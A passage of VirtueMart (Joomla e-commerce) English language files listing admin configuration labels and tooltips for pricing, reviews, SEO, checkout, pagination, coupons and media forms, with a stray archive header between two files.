e-mail." COM_VIRTUEMART_ADMIN_CFG_PAGINATION_SEQUENCE="Set the pagination sequence for the List Box" COM_VIRTUEMART_ADMIN_CFG_PDF_BUTTON="PDF Button" COM_VIRTUEMART_ADMIN_CFG_PDF_BUTTON_EXPLAIN="Show or Hide the PDF - Button in the Shop" COM_VIRTUEMART_ADMIN_CFG_POOS_DISABLE_ADD="Displays 'Notify Me' instead of 'Add To Cart' button" COM_VIRTUEMART_ADMIN_CFG_POOS_DISABLE_IT="Do not Display Product" COM_VIRTUEMART_ADMIN_CFG_POOS_DISABLE_IT_CHILDREN="Do not Display Product, if child products also out of stock" COM_VIRTUEMART_ADMIN_CFG_POOS_NONE="Products Out of Stock are orderable, no special action" COM_VIRTUEMART_ADMIN_CFG_POOS_RISE_AVATIME="Products Out of Stock are orderable, and the field 'Availability' below is displayed" COM_VIRTUEMART_ADMIN_CFG_PRICES="Show Following Prices" COM_VIRTUEMART_ADMIN_CFG_PRICES_INCLUDE_TAX="Show Prices including tax?" COM_VIRTUEMART_ADMIN_CFG_PRICES_LABEL="Show Price" COM_VIRTUEMART_ADMIN_CFG_PRICES_ROUNDING="Rounding Digits" COM_VIRTUEMART_ADMIN_CFG_PRICES_TEXT="Show Label" COM_VIRTUEMART_ADMIN_CFG_PRICE_ACCESS_LEVEL="Membergroup to show prices to" COM_VIRTUEMART_ADMIN_CFG_PRICE_ACCESS_LEVEL_TIP="The selected membergroup and all groups with higher permissions will be able to see the product prices" COM_VIRTUEMART_ADMIN_CFG_PRICE_ASKPRICE="Show call for price, when the price is empty" COM_VIRTUEMART_ADMIN_CFG_PRICE_ASKPRICE_TIP="For this function you must enable 'Allow ask questions'. This gives the user the possibility to ask you for a price, when you dont like to publish it" COM_VIRTUEMART_ADMIN_CFG_PRICE_BASEPRICE="Baseprice" COM_VIRTUEMART_ADMIN_CFG_PRICE_BASEPRICE_EXPLAIN="Depending on where you do your profit/margin calculation it is either your cost price or your calculated price. In the frontend, this price is only displayed to the store administrator." COM_VIRTUEMART_ADMIN_CFG_PRICE_BASEPRICE_VAR="New baseprice modified by chosen product variant" COM_VIRTUEMART_ADMIN_CFG_PRICE_BASEPRICE_VAR_EXPLAIN="The baseprice gets modified by the chosen product variant. In the frontend, this price is only displayed to the store administrator." COM_VIRTUEMART_ADMIN_CFG_PRICE_BASEPRICE_WTAX="Baseprice with Tax, but without discounts" COM_VIRTUEMART_ADMIN_CFG_PRICE_BASEPRICE_WTAX_EXPLAIN="useful to show the old price without discount" COM_VIRTUEMART_ADMIN_CFG_PRICE_CONFIGURATION="Price Configuration" COM_VIRTUEMART_ADMIN_CFG_PRICE_CVARSWT="Display variant prices with tax" COM_VIRTUEMART_ADMIN_CFG_PRICE_CVARSWT_EXPLAIN="You can display the extra prices of variants (for exmample in the dropdown) with or without tax" COM_VIRTUEMART_ADMIN_CFG_PRICE_DISCPRICE_WOTAX="Discounted Price without tax" COM_VIRTUEMART_ADMIN_CFG_PRICE_DISCPRICE_WOTAX_EXPLAIN="This is interesting for Traders and Merchants (B2B)" COM_VIRTUEMART_ADMIN_CFG_PRICE_DISC_AMOUNT="Discount amount" COM_VIRTUEMART_ADMIN_CFG_PRICE_DISC_AMOUNT_EXPLAIN="Useful for the you save X money" COM_VIRTUEMART_ADMIN_CFG_PRICE_RAPPENRUNDUNG="Use for swizz CHF the Rappenrundung" COM_VIRTUEMART_ADMIN_CFG_PRICE_RAPPENRUNDUNG_TIP="only for the swiss, rounds only the display always to 0.00 or 0.05" COM_VIRTUEMART_ADMIN_CFG_PRICE_ROUNDINDIG="Round only display" COM_VIRTUEMART_ADMIN_CFG_PRICE_ROUNDINDIG_TIP="We advice to use this option, the rounding is only done on the display, the results are more accurate" COM_VIRTUEMART_ADMIN_CFG_PRICE_SALESPRICE="Final salesprice" COM_VIRTUEMART_ADMIN_CFG_PRICE_SALESPRICE_EXPLAIN="This is the price the shopper actually has to pay" COM_VIRTUEMART_ADMIN_CFG_PRICE_SALESPRICE_WD="Salesprice with discount, but without override" COM_VIRTUEMART_ADMIN_CFG_PRICE_SALESPRICE_WD_EXPLAIN="This is the same as the salesprice, except you used the product specific override option" COM_VIRTUEMART_ADMIN_CFG_PRICE_SALESPRICE_WOTAX="Salesprice without tax" COM_VIRTUEMART_ADMIN_CFG_PRICE_SALESPRICE_WOTAX_EXPLAIN="This is interesting for Traders and Merchants (B2B)" COM_VIRTUEMART_ADMIN_CFG_PRICE_SHOW_PACKAGING_PRICELABEL="Show the price label for packaging?" COM_VIRTUEMART_ADMIN_CFG_PRICE_SHOW_PACKAGING_PRICELABEL_TIP="When checked, the price label is derived from the products unit and packaging values" COM_VIRTUEMART_ADMIN_CFG_PRICE_SHOW_TAX="Show Tax in Cart" COM_VIRTUEMART_ADMIN_CFG_PRICE_SHOW_TAX_TIP="Display Tax details in Cart" COM_VIRTUEMART_ADMIN_CFG_PRICE_TAX_AMOUNT="Tax amount" COM_VIRTUEMART_ADMIN_CFG_PRICE_TAX_AMOUNT_EXPLAIN="Shows only the tax" COM_VIRTUEMART_ADMIN_CFG_PRICE_UNITPRICE="Unit price" COM_VIRTUEMART_ADMIN_CFG_PRICE_UNITPRICE_EXPLAIN="A unit price for products sold in units, for example in meter, liter, kilograms" COM_VIRTUEMART_ADMIN_CFG_PRICE_VARMOD="Baseprice modificator" COM_VIRTUEMART_ADMIN_CFG_PRICE_VARMOD_EXPLAIN="The modificator of the baseprice due the chosen product variant" COM_VIRTUEMART_ADMIN_CFG_PRICINGTAB="Pricing" COM_VIRTUEMART_ADMIN_CFG_PRODUCTORDERTAB="Product Order Settings" COM_VIRTUEMART_ADMIN_CFG_PRODUCTS_PER_ROW="Default number of products in a row" COM_VIRTUEMART_ADMIN_CFG_PRODUCTS_PER_ROW_EXPLAIN="This defines the number of products in a row.
      " COM_VIRTUEMART_ADMIN_CFG_PRODUCT_LAYOUT="Product layout" COM_VIRTUEMART_ADMIN_CFG_PRODUCT_LAYOUT_EXPLAIN="This is the default layout for displaying product details." COM_VIRTUEMART_ADMIN_CFG_PROXY_PASS="Proxy password" COM_VIRTUEMART_ADMIN_CFG_PROXY_PASS_TIP="If the proxy requires authentication please fill in the correct password here." COM_VIRTUEMART_ADMIN_CFG_PROXY_PORT="Proxy Port" COM_VIRTUEMART_ADMIN_CFG_PROXY_PORT_TIP="The port used for communication with the proxy server (mostly 80 or 8080)." COM_VIRTUEMART_ADMIN_CFG_PROXY_SETTINGS="Global Proxy Settings" COM_VIRTUEMART_ADMIN_CFG_PROXY_URL="URL of the proxy server" COM_VIRTUEMART_ADMIN_CFG_PROXY_URL_TIP="Example" COM_VIRTUEMART_ADMIN_CFG_PROXY_USER="Proxy username" COM_VIRTUEMART_ADMIN_CFG_PROXY_USER_TIP="If the proxy requires authentication please fill in your username here." COM_VIRTUEMART_ADMIN_CFG_RATING="Enable Rating System for" COM_VIRTUEMART_ADMIN_CFG_RATING_EXPLAIN="If enabled, you allow shoppers to see the product rating." COM_VIRTUEMART_ADMIN_CFG_RATING_MODE_ALL="Everybody" COM_VIRTUEMART_ADMIN_CFG_RATING_MODE_BOUGHT_PRODUCT="Shoppers who bought the product" COM_VIRTUEMART_ADMIN_CFG_RATING_MODE_NONE="Disabled" COM_VIRTUEMART_ADMIN_CFG_RATING_MODE_REGISTERED="Registered" COM_VIRTUEMART_ADMIN_CFG_RATING_SHOW="Show Rating" COM_VIRTUEMART_ADMIN_CFG_RATING_SHOW_ALL="To Everybody" COM_VIRTUEMART_ADMIN_CFG_RATING_SHOW_EXPLAIN="If enabled, you allow shoppers to rate the products." COM_VIRTUEMART_ADMIN_CFG_RATING_SHOW_NONE="None" COM_VIRTUEMART_ADMIN_CFG_RATING_SHOW_REGISTERED="To Registered Users" COM_VIRTUEMART_ADMIN_CFG_REC_PROD_ROWS="Rows for recent" COM_VIRTUEMART_ADMIN_CFG_REC_PROD_ROWS_EXPL="This defines the number of rows for recent products." COM_VIRTUEMART_ADMIN_CFG_REVIEW="Enable Review System for" COM_VIRTUEMART_ADMIN_CFG_REVIEW_EXPLAIN="If enabled, you allow shoppers to rate products and write reviews about them.
      " COM_VIRTUEMART_ADMIN_CFG_REVIEW_MAXIMUM_COMMENT_LENGTH="Comment Maximum Length" COM_VIRTUEMART_ADMIN_CFG_REVIEW_MAXIMUM_COMMENT_LENGTH_TIP="This is the maximum amount of characters that can be written by a shopper in a comment." COM_VIRTUEMART_ADMIN_CFG_REVIEW_MINIMUM_COMMENT_LENGTH="Comment Minimum Length" COM_VIRTUEMART_ADMIN_CFG_REVIEW_MINIMUM_COMMENT_LENGTH_TIP="This is the amount of characters that MUST at least be written by a shopper before the review can be submitted." COM_VIRTUEMART_ADMIN_CFG_REVIEW_MODE_ALL="Everybody" COM_VIRTUEMART_ADMIN_CFG_REVIEW_MODE_BOUGHT_PRODUCT="Shoppers who bought the product" COM_VIRTUEMART_ADMIN_CFG_REVIEW_MODE_NONE="Disabled" COM_VIRTUEMART_ADMIN_CFG_REVIEW_MODE_REGISTERED="To Registered users" COM_VIRTUEMART_ADMIN_CFG_REVIEW_SHOW="Show Review" COM_VIRTUEMART_ADMIN_CFG_REVIEW_SHOW_ALL="Show to Everybody" COM_VIRTUEMART_ADMIN_CFG_REVIEW_SHOW_EXPLAIN="If enabled, you allow shoppers to read the reviews about the products." COM_VIRTUEMART_ADMIN_CFG_REVIEW_SHOW_NONE="Don't show" COM_VIRTUEMART_ADMIN_CFG_REVIEW_SHOW_REGISTERED="Show to Registered users" COM_VIRTUEMART_ADMIN_CFG_REVIEW_TITLE="Shopper Review/Rating System" COM_VIRTUEMART_ADMIN_CFG_SEF="SEO" COM_VIRTUEMART_ADMIN_CFG_SEO_DISABLE="SEO Disabled" COM_VIRTUEMART_ADMIN_CFG_SEO_DISABLE_TIP="If checked, the SEO is disabled. When not checked, the SEO is enabled." COM_VIRTUEMART_ADMIN_CFG_SEO_ENABLE="Enable VirtueMart SEO" COM_VIRTUEMART_ADMIN_CFG_SEO_ENABLE_TIP="Activate the VirtueMart router.php" COM_VIRTUEMART_ADMIN_CFG_SEO_SETTINGS="SEO Settings" COM_VIRTUEMART_ADMIN_CFG_SEO_SUFIX="Seo Suffix" COM_VIRTUEMART_ADMIN_CFG_SEO_SUFIX_TIP="Seo Suffix to add at the end of product URLs" COM_VIRTUEMART_ADMIN_CFG_SEO_TRANSLATE="Translate Strings" COM_VIRTUEMART_ADMIN_CFG_SEO_TRANSLATE_TIP="If enabled, the URL uses the languages file for the VirtueMart strings in the URL. Otherwise, the URLs are created with default strings." COM_VIRTUEMART_ADMIN_CFG_SEO_USE_ID="Use Product and Category IDs" COM_VIRTUEMART_ADMIN_CFG_SEO_USE_ID_TIP="If enabled, the Product ID, and the Category ID will be added in the URL. Otherwise, the URL contains only the Product name or the Category name" COM_VIRTUEMART_ADMIN_CFG_SHOPFRONTTAB="Shopfront" COM_VIRTUEMART_ADMIN_CFG_SHOPFRONT_SETTINGS="Shopfront Settings" COM_VIRTUEMART_ADMIN_CFG_SHOPTAB="Shop" COM_VIRTUEMART_ADMIN_CFG_SHOP_ADVANCED="Advanced Settings" COM_VIRTUEMART_ADMIN_CFG_SHOP_EMAILS="Emails Settings" COM_VIRTUEMART_ADMIN_CFG_SHOP_LANGUAGES="Languages Settings" COM_VIRTUEMART_ADMIN_CFG_SHOP_OFFLINE="Shop is offline?" COM_VIRTUEMART_ADMIN_CFG_SHOP_OFFLINE_MSG="Offline Message" COM_VIRTUEMART_ADMIN_CFG_SHOP_OFFLINE_TIP="If you check this, the Shop will display an Offline Message." COM_VIRTUEMART_ADMIN_CFG_SHOP_SETTINGS="Shop Settings" COM_VIRTUEMART_ADMIN_CFG_SHOWVM_VERSION="Show footer" COM_VIRTUEMART_ADMIN_CFG_SHOWVM_VERSION_EXPLAIN="Displays a powered-by-VirtueMart footer image." COM_VIRTUEMART_ADMIN_CFG_SHOW_CATEGORIES="Show Categories" COM_VIRTUEMART_ADMIN_CFG_SHOW_CATEGORIES_TIP="If checked, VirtueMart home page will display the product categories." COM_VIRTUEMART_ADMIN_CFG_SHOW_CATEGORY="Show Children Category" COM_VIRTUEMART_ADMIN_CFG_SHOW_CATEGORY_EXPLAIN="If checked, Children categories will be displayed in the category view , and Product view." COM_VIRTUEMART_ADMIN_CFG_SHOW_FEATURED="Show featured" COM_VIRTUEMART_ADMIN_CFG_SHOW_FEATURED_TIP="If checked, VirtueMart home page will display Featured products" COM_VIRTUEMART_ADMIN_CFG_SHOW_LATEST="Show latest products" COM_VIRTUEMART_ADMIN_CFG_SHOW_LATEST_TIP="If checked, VirtueMart home page will display the latest products" COM_VIRTUEMART_ADMIN_CFG_SHOW_MANUFACTURERS="Show Manufacturers" COM_VIRTUEMART_ADMIN_CFG_SHOW_MANUFACTURERS_EXPLAIN="If checked, Manufacturers will displayed." COM_VIRTUEMART_ADMIN_CFG_SHOW_OUT_OF_STOCK_PRODUCTS="Show Products Out of Stock" COM_VIRTUEMART_ADMIN_CFG_SHOW_OUT_OF_STOCK_PRODUCTS_EXPLAIN="When enabled, Products that are currently not in Stock are displayed. Otherwise, such Products are hidden." COM_VIRTUEMART_ADMIN_CFG_SHOW_PRICES="Show Prices" COM_VIRTUEMART_ADMIN_CFG_SHOW_PRICES_EXPLAIN="Check to show prices. If using catalogue functionality, some don't want prices to appear on pages." COM_VIRTUEMART_ADMIN_CFG_SHOW_RECENT="Show recent" COM_VIRTUEMART_ADMIN_CFG_SHOW_RECENT_TIP="If checked, VirtueMart home page will display Recent products" COM_VIRTUEMART_ADMIN_CFG_SHOW_STORE_DESC="Show Store Description" COM_VIRTUEMART_ADMIN_CFG_SHOW_STORE_DESC_TIP="If checked, VirtueMart home page will display the Store Description." COM_VIRTUEMART_ADMIN_CFG_SHOW_TOPTEN="Show Top ten products" COM_VIRTUEMART_ADMIN_CFG_SHOW_TOPTEN_TIP="If checked, VirtueMart home page will display Top ten products" COM_VIRTUEMART_ADMIN_CFG_SSL="Enable SSL for sensitive areas (recommended)" COM_VIRTUEMART_ADMIN_CFG_SSL_EXPLAIN="This forces joomla to use SSL for the links in the cart and the user area. Be sure to use the right joomla settings for the user maintenance, the guest order and the login. Requires the prior installation of an SSL certificate for your domain/IP address" COM_VIRTUEMART_ADMIN_CFG_STATUS_PDF_INVOICES="Default Order Status to create an invoice" COM_VIRTUEMART_ADMIN_CFG_STATUS_PDF_INVOICES_TIP="Default Order Status to create an invoice. Select also the download status for the emails, to directly send the invoice. Can be overriden by the payment method" COM_VIRTUEMART_ADMIN_CFG_SYSTEMTAB="System" COM_VIRTUEMART_ADMIN_CFG_SYSTEM_SETTINGS="System Settings" COM_VIRTUEMART_ADMIN_CFG_TEMPLATESTAB="Templates" COM_VIRTUEMART_ADMIN_CFG_THUMBNAIL_HEIGHT="Thumbnail Image Height" COM_VIRTUEMART_ADMIN_CFG_THUMBNAIL_HEIGHT_TIP="The target height of the resized Thumbnail Image." COM_VIRTUEMART_ADMIN_CFG_THUMBNAIL_WIDTH="Thumbnail Image Width" COM_VIRTUEMART_ADMIN_CFG_THUMBNAIL_WIDTH_TIP="The target width of the resized Thumbnail Image." COM_VIRTUEMART_ADMIN_CFG_TITLES="Titles and Professional Titles" COM_VIRTUEMART_ADMIN_CFG_TITLES_LBL="Used Titles and Professional Titles" COM_VIRTUEMART_ADMIN_CFG_TOOLS_EXPLAIN="Enable the database Update tool. This tools are done for developers and can break your shop completly. Please use it with caution. " COM_VIRTUEMART_ADMIN_CFG_TOPTEN_PROD_ROWS="Rows for Top ten" COM_VIRTUEMART_ADMIN_CFG_TOPTEN_PROD_ROWS_EXPL="This defines the number of rows for Top ten products." COM_VIRTUEMART_ADMIN_CFG_USER_REGISTRATION_SETTINGS="User Registration Settings" COM_VIRTUEMART_ADMIN_CFG_USE_ONLY_AS_CATALOGUE="Use only as catalogue" COM_VIRTUEMART_ADMIN_CFG_USE_ONLY_AS_CATALOGUE_EXPLAIN="If you check this, you disable all cart functionalities." COM_VIRTUEMART_ADMIN_CHECKOUT_OPC="One Page Checkout enabled" COM_VIRTUEMART_ADMIN_CHECKOUT_OPC_TIP="If enabled, the shipment and payment selection will be displayed in the cart view. Note: if you are using 3rd party templates, the template must have implemented that feature." COM_VIRTUEMART_ADMIN_ONCHECKOUT_CHANGE_SHOPPER="Allow Administrators to change the current Shopper" COM_VIRTUEMART_ADMIN_ONCHECKOUT_CHANGE_SHOPPER_TIP="This option allows administrators to change the current shopper. The user session will be changed to the selected user and the original admin user ID is stored as created_by in the order table. This is usefull if you want to place an order on behalf of your customer in the FE, for which you need full access to the shopper's address(es)." COM_VIRTUEMART_ADMIN_ONCHECKOUT_ONLY_REGISTERED="Only registered users can checkout" COM_VIRTUEMART_ADMIN_ONCHECKOUT_ONLY_REGISTERED_TIP="This option let only registered users make a checkout, you should have 'On checkout, ask for registration' enabled" COM_VIRTUEMART_ADMIN_ONCHECKOUT_SHOW_LEGALINFO="Show Terms of Service on the cart/checkout?" COM_VIRTUEMART_ADMIN_ONCHECKOUT_SHOW_LEGALINFO_TIP="Store owners are required by law to inform their shoppers about return and order cancellation policies in most European countries. So this should be enabled in most cases." COM_VIRTUEMART_ADMIN_ONCHECKOUT_SHOW_PRODUCTIMAGES="Show product images" COM_VIRTUEMART_ADMIN_ONCHECKOUT_SHOW_PRODUCTIMAGES_TIP="Show mini thumbnails of the products in the cart, may break your layout" COM_VIRTUEMART_ADMIN_ONCHECKOUT_SHOW_REGISTER="On checkout, ask for registration" COM_VIRTUEMART_ADMIN_ONCHECKOUT_SHOW_REGISTER_TIP="During the checkout process, the client can register" COM_VIRTUEMART_ADMIN_ONCHECKOUT_SHOW_STEPS="Show checkout steps" COM_VIRTUEMART_ADMIN_ONCHECKOUT_SHOW_STEPS_TIP="Text to display before registration page" COM_VIRTUEMART_ADMIN_SHOW_EMAILFRIEND="Show the Recommend to a friend link?" COM_VIRTUEMART_ADMIN_SHOW_EMAILFRIEND_TIP="When enabled, a link is displayed that allows the shopper to send a recommendation email for a specific product." COM_VIRTUEMART_ADMIN_SHOW_PRINTICON="Show the Print View link?" COM_VIRTUEMART_ADMIN_SHOW_PRINTICON_TIP="When enabled, a link is displayed that opens the current page in a new popup for printing it out." COM_VIRTUEMART_ASK_QUESTION_CAPTCHA="Use ReCaptcha for recommendation and ask a question" COM_VIRTUEMART_ASK_QUESTION_CAPTCHA_TIP="Before you enable this you have to enter your Public Key and Private Key into the Joomla ReCaptcha Plugin basic options. For instructiions how to get those keys please read the plugin description." COM_VIRTUEMART_ASK_QUESTION_MAX_LENGTH="Question maximum length" COM_VIRTUEMART_ASK_QUESTION_MAX_LENGTH_EXPLAIN="Maximum valid length for asking a question" COM_VIRTUEMART_ASK_QUESTION_MIN_LENGTH="Question minimum length" COM_VIRTUEMART_ASK_QUESTION_MIN_LENGTH_EXPLAIN="Minimum valid length for asking a question" COM_VIRTUEMART_ASK_QUESTION_SHOW="Allows to Ask a question" COM_VIRTUEMART_ASK_QUESTION_SHOW_EXPLAIN="When enabled, a link is displayed that opens in a new popup and allows customers to send a question to the vendor" COM_VIRTUEMART_BROWSE_CAT_ORDERBY_DEFAULT_FIELD_LBL="Default category sort order" COM_VIRTUEMART_BROWSE_CAT_ORDERBY_DEFAULT_FIELD_LBL_TIP="Defines by which field categories are ordered by default on the browse pages" COM_VIRTUEMART_BROWSE_ORDERBY_DEFAULT_FIELD_LBL="Default product sort order" COM_VIRTUEMART_BROWSE_ORDERBY_DEFAULT_FIELD_LBL_TIP="Defines by which field products are ordered by default on the browse pages" COM_VIRTUEMART_BROWSE_ORDERBY_DEFAULT_FIELD_TITLE="Product Sort Order Settings" COM_VIRTUEMART_BROWSE_ORDERBY_FIELDS_LBL="Available Sort-by fields" COM_VIRTUEMART_BROWSE_ORDERBY_FIELDS_LBL_TIP="Choose the Sort-by fields for the browse page. Each one defines a sort method for the product browse page. If you deselect all, the Order-By-Form will not be shown." COM_VIRTUEMART_BROWSE_SEARCH_FIELDS_LBL="Available Search Fields" COM_VIRTUEMART_BROWSE_SEARCH_FIELDS_LBL_TIP="Choose the Search-by fields for the browse page. Each one defines a search method for the product browse page. If you deselect all, the Search-Form will not be shown." COM_VIRTUEMART_CFG_ADDITIONAL_IMAGES="Open additional images on main position" COM_VIRTUEMART_CFG_ADDITIONAL_IMAGES_TIP="If enabled, additional images are open on main image position. If disabled, additional images are open direct in lightbox." COM_VIRTUEMART_CFG_CONTENT_PLUGINS_ENABLE="Enable content plugins in descriptions?" COM_VIRTUEMART_CFG_CONTENT_PLUGINS_ENABLE_TIP="If enabled, product and category descriptions are parsed by all published content plugins." COM_VIRTUEMART_CFG_CURRENCY_MODULE="Select a currency converter module" COM_VIRTUEMART_CFG_CURRENCY_MODULE_TIP="This allows you to select a certain currency converter module. Such modules fetch exchange rates from a server and convert one currency into another." COM_VIRTUEMART_CFG_DELDATE_INV="Default delivery date" COM_VIRTUEMART_CFG_DELDATE_INV_TIP="Set here the default delivery date of your invoice. Common is the first option, you can override the used text, or the orderstatus shipped." COM_VIRTUEMART_CFG_ENABLE_FEATURE="Enable this Feature" COM_VIRTUEMART_CFG_FANCY="Use Fancybox" COM_VIRTUEMART_CFG_FANCY_TIP="In case you modded your shop with a lot js, you may stay with facebox, but we suggest fancybox." COM_VIRTUEMART_CFG_LOWSTOCK_NOTIFY="Send low stock notification" COM_VIRTUEMART_CFG_LOWSTOCK_NOTIFY_TIP="Sends a low stock notification if products in stock and booked are lower than the value set in the product edit" COM_VIRTUEMART_CFG_OSTATUS_EMAILS_SHOPPER="Default Order Status to send email to shopper" COM_VIRTUEMART_CFG_OSTATUS_EMAILS_SHOPPER_TIP="You can choose multiple order statuse" COM_VIRTUEMART_CFG_OSTATUS_EMAILS_VENDOR="Default Order Status to send email to vendor" COM_VIRTUEMART_CFG_OSTATUS_EMAILS_VENDOR_TIP="You can choose multiple order statuse" COM_VIRTUEMART_CFG_PAGSEQ_1="For views with 1 item per row" COM_VIRTUEMART_CFG_PAGSEQ_1_TIP="Set a list of numbers separated by commas that will be used in the list box on the frontend.
      Example: 3,5,10,20
      Leave empty, to use the generic pagination. Be aware the generic default is already product per row multiplied by 5,10,20,50" COM_VIRTUEMART_CFG_PAGSEQ_2="For 2 items per row" COM_VIRTUEMART_CFG_PAGSEQ_2_TIP="Set a list of numbers separated by commas that will be used in the list box on the frontend.
      Example: 6,12,18,30
      Leave empty, to use the generic pagination. Be aware the generic default is already product per row multiplied by 5,10,20,50" COM_VIRTUEMART_CFG_PAGSEQ_3="For 3 items per row" COM_VIRTUEMART_CFG_PAGSEQ_3_TIP="Set a list of numbers separated by commas that will be used in the list box on the frontend.
      Example: 6,12,18,24
      Leave empty, to use the generic pagination. Be aware the generic default is already product per row multiplied by 5,10,20,50" COM_VIRTUEMART_CFG_PAGSEQ_4="For 4 items per row" COM_VIRTUEMART_CFG_PAGSEQ_4_TIP="Set a list of numbers separated by commas that will be used in the list box on the frontend.
      Example: 8,24,32,64
      Leave empty, to use the generic pagination. Be aware the generic default is already product per row multiplied by 5,10,20,50" COM_VIRTUEMART_CFG_PAGSEQ_5="For 5 items per row" COM_VIRTUEMART_CFG_PAGSEQ_5_TIP="Set a list of numbers separated by commas that will be used in the list box on the frontend.
      Example: 15,50,100,150
      Leave empty, to use the generic pagination. Be aware the generic default is already product per row multiplied by 5,10,20,50" COM_VIRTUEMART_CFG_PAGSEQ_BE="Backend pagination sequence" COM_VIRTUEMART_CFG_PAGSEQ_BE_TIP="Set a list of numbers separated by commas that will be used in the list box on the backend.
      Example: 15,50,100,150
      Leave empty, to use the generic pagination. Be aware the generic default is already product per row multiplied by 5,10,20,50" COM_VIRTUEMART_CFG_POOS_ENABLE="Action when a Product is Out of Stock" COM_VIRTUEMART_CFG_POOS_ENABLE_EXPLAIN="You can define here, which action should happen, when a product is out of stock" COM_VIRTUEMART_CFG_POPUP_REL="Show related products in the popup" COM_VIRTUEMART_CFG_POPUP_REL_TIP="Showing related products in the add to cart popup can increase your conversion rate" COM_VIRTUEMART_COUPONS_ENABLE="Enable Coupon Usage" COM_VIRTUEMART_COUPONS_ENABLE_EXPLAIN="If you enable the Coupon Usage, you allow shoppers to fill in Coupon Numbers to gain discounts on their purchase." COM_VIRTUEMART_COUPONS_EXPIRE="Default Coupon Lifetime" COM_VIRTUEMART_COUPONS_EXPIRE_EXPLAIN="You can set a default lifetime for coupons here; they will expire the given amount of time after creation. This date can be changed per coupon." COM_VIRTUEMART_COUPONS_REMOVE="Order Status to Delete a Gift Coupon" COM_VIRTUEMART_COUPONS_REMOVE_TIP="Gift coupons will be deleted only for those order status" COM_VIRTUEMART_LATEST_PRODUCTS_DAYS="Latest Products - Number of days to display" COM_VIRTUEMART_LATEST_PRODUCTS_DAYS_EXPLAIN="Number of consecutive days on which latest products are being displayed" COM_VIRTUEMART_LATEST_PRODUCTS_ORDERBY="Latest Products - Sort order of display" COM_VIRTUEMART_LATEST_PRODUCTS_ORDERBY_CREATED="Last created products first" COM_VIRTUEMART_LATEST_PRODUCTS_ORDERBY_EXPLAIN="Sort order of displayed latest products" COM_VIRTUEMART_LIST_LIMIT="Default items per list view" COM_VIRTUEMART_LIST_LIMIT_EXPLAIN="The standard pagination list limit for all listings, back and frontend" COM_VIRTUEMART_LIST_MEDIA="Max items listed displaying media" COM_VIRTUEMART_LIST_MEDIA_TIP="Max items displayed in the listing decide if medias are shown in the list, or not." COM_VIRTUEMART_LLIMIT_INIT_BE="Backend default items per list view" COM_VIRTUEMART_LLIMIT_INIT_BE_TIP="The standard pagination list limit for all listings in the backend" COM_VIRTUEMART_LLIMIT_INIT_FE="Frontend default items per list view" COM_VIRTUEMART_LLIMIT_INIT_FE_TIP="The standard pagination list limit for all listings in the frontend" COM_VIRTUEMART_LWH_UNIT_DEFAULT="Default LWH Unit" COM_VIRTUEMART_LWH_UNIT_DEFAULT_EXPLAIN="Set the default unit for your shop" COM_VIRTUEMART_PDF_ICON_SHOW="Show the pdf view icon?" COM_VIRTUEMART_PDF_ICON_SHOW_EXPLAIN="Show or Hide the pdf link icon" COM_VIRTUEMART_PRODUCT_NAVIGATION_SHOW="Show the product navigation?" COM_VIRTUEMART_PRODUCT_NAVIGATION_SHOW_EXPLAIN="Show the product navigation on the top of the product page" COM_VIRTUEMART_RECCOMEND_UNATUH="Allow non logged-in to send a recommendation or ask a question" COM_VIRTUEMART_RECCOMEND_UNATUH_EXPLAIN="When enabled any user can send recommendation on product, ask a question, or call for price, otherwise only logged users are able to use this functions. You can enable it, but check your emails regularly, it can be misused for spam" COM_VIRTUEMART_REGISTRATION_CAPTCHA="Use ReCaptcha for Registration" COM_VIRTUEMART_REGISTRATION_CAPTCHA_EXPLAIN="Before you enable this you have to enter your Public Key and Private Key into the Joomla ReCaptcha Plugin basic options. For instructiions how to get those keys please read the plugin description." COM_VIRTUEMART_REVIEWS_AUTOPUBLISH="Auto-Publish Reviews?" COM_VIRTUEMART_REVIEWS_AUTOPUBLISH_TIP="If checked, reviews are automatically published after being posted. If not, the administrator must approve/publish them." COM_VIRTUEMART_REVIEWS_OS="Order status Review/Rating" COM_VIRTUEMART_REVIEWS_OS_TIP="Order status to enable the Review/Rating in case the option Shoppers who bought the product was selected" COM_VIRTUEMART_SELECT_DEFAULT_SHOP_TEMPLATE="Select the default template for your Shop" COM_VIRTUEMART_SELECT_DEFAULT_SHOP_TEMPLATE_TIP="Templates allow styling and customizing your shop.
      If no other templates than the 'default' one are present, you haven't installed more templates." COM_VIRTUEMART_UNCAT_CHILD_PRODUCTS_SHOW="Show uncategorised child products in search results and modules?" COM_VIRTUEMART_UNCAT_CHILD_PRODUCTS_SHOW_EXPLAIN="When enabled, all products and child products will appear in search results and standard modules. When disabled, any uncategorised child products will not appear, only the parent." COM_VIRTUEMART_VM_ERROR_HANDLING_ENABLE="Enable VirtueMart 404 error handling" COM_VIRTUEMART_VM_ERROR_HANDLING_ENABLE_EXPLAIN="When VirtueMart encounters a 404 error (missing product, missing category, etc), selecting this option will redirect the user to the storefront. Leaving this unchecked will pass the error to Joomla to handle in the usual way." COM_VIRTUEMART_WEIGHT_UNIT_DEFAULT="Default Weight Unit" COM_VIRTUEMART_WEIGHT_UNIT_DEFAULT_EXPLAIN="Default Weight Unit used for the products. This value can be changed per product"PK@y>\V?Gcomponents/com_virtuemart/language/en-GB/en-GB.com_virtuemart_media.ininuW+A; Virtuemart! Project ; Copyright (C) 2012 Virtuemart Team. All rights reserved. ; License http://www.gnu.org/licenses/gpl-2.0.html GNU/GPL, see LICENSE.php ; Note : All ini files need to be saved as UTF-8 - No BOM ; COM_VIRTUEMART_DEFAULT_URL="(Default URL) %1$s" COM_VIRTUEMART_FILES_FORM="Product Files Form" COM_VIRTUEMART_FILES_FORM_ALREADY_ATTACHED_FILE="already attached file" COM_VIRTUEMART_FILES_FORM_ALREADY_ATTACHED_FILE_PRIMARY="primary attached file" COM_VIRTUEMART_FILES_FORM_AUTO_THUMBNAIL="Create Thumbnail" COM_VIRTUEMART_FILES_FORM_CURRENT_FILE="Current File" COM_VIRTUEMART_FILES_FORM_CURRENT_FULL_IMAGE="Current Full Image" COM_VIRTUEMART_FILES_FORM_CURRENT_THUMB_IMAGE="Current Thumbnail Image" COM_VIRTUEMART_FILES_FORM_DOWNLOADABLE="Downloadable File" COM_VIRTUEMART_FILES_FORM_FILE="Additional File" COM_VIRTUEMART_FILES_FORM_FILE_DESCRIPTION="Displayed image subtitle" COM_VIRTUEMART_FILES_FORM_FILE_META="Image Alt-Text" COM_VIRTUEMART_FILES_FORM_FILE_PUBLISHED="File published?" COM_VIRTUEMART_FILES_FORM_FILE_TITLE="Unique Filename " 